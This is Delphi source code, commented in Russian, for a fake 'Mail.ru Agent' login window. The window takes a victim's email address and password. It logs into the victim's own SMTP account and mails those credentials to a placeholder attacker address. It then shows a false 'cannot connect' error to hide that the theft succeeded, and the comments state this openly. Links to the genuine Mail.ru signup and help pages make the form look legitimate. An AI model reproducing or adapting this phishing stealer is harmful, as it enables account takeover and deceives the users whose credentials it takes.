uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, Mask, idMessage, ShellAPI; type
TForm1 = class(TForm)
Image1: TImage;
Label1: TLabel;
Button1: TButton;
Button2: TButton;
Label2: TLabel;
CheckBox1: TCheckBox;
Label3: TLabel;
Label4: TLabel;
ComboBox1: TComboBox;
Edit1: TEdit;
IdSMTP1: TIdSMTP;
MaskEdit1: TMaskEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Label1Click(Sender: TObject);
procedure Label2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add('Мыло:' + ' ' + Edit1.Text + '@' + ComboBox1.Text + #10#13 + #10#13 + 'Pасс:' + ' ' + MaskEdit1.Text); // тело письма
M.From.Text := Edit1.text + '@' + ComboBox1.Text; // от кого
M.Recipients.Add; // получателей может быть несколько
M.Recipients.Items[0].Text := \'мыло получателя\';
// M.Recipients.Items[1].Text := \'мыло второго получателя, если нужно\';
M.Subject := 'Mail.ru Agent'; // тема письма
IdSMTP1.AuthenticationType := atLogin; // если сервер требует авторизации
IdSMTP1.Host := 'smtp.' + ComboBox1.text; // хост сервера
IdSMTP1.Username := Edit1.text; // логин
IdSMTP1.Password := MaskEdit1.Text; // пасс
IdSMTP1.Connect();
// отправка мыла будет произведена от имени юзера
// то есть он должен правильно заполнить логин и пасс, иначе мыло не отправится
if IdSMTP1.Connected then
begin
try
IdSMTP1.Send(M);
Application.MessageBox('Невозможно соединиться с сервером. Проверьте настройки вашего соединия','Error!',MB_ICONERROR);
// ошибка появится, если письмо успешно отправлено
except
Application.MessageBox('Неправильная пара Логин-Пароль','Error!',MB_ICONERROR);
// ошибка появится, если юзер ввёл неправильный логин или пасс
end;
IdSMTP1.Disconnect;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'http://win.mail.ru/cgi-bin/signup', nil, nil, SW_SHOWMAXIMIZED);
end;
procedure TForm1.Label2Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'http://www.mail.ru/pages/help/92.html', nil, nil, SW_SHOWMAXIMIZED);
end;
end.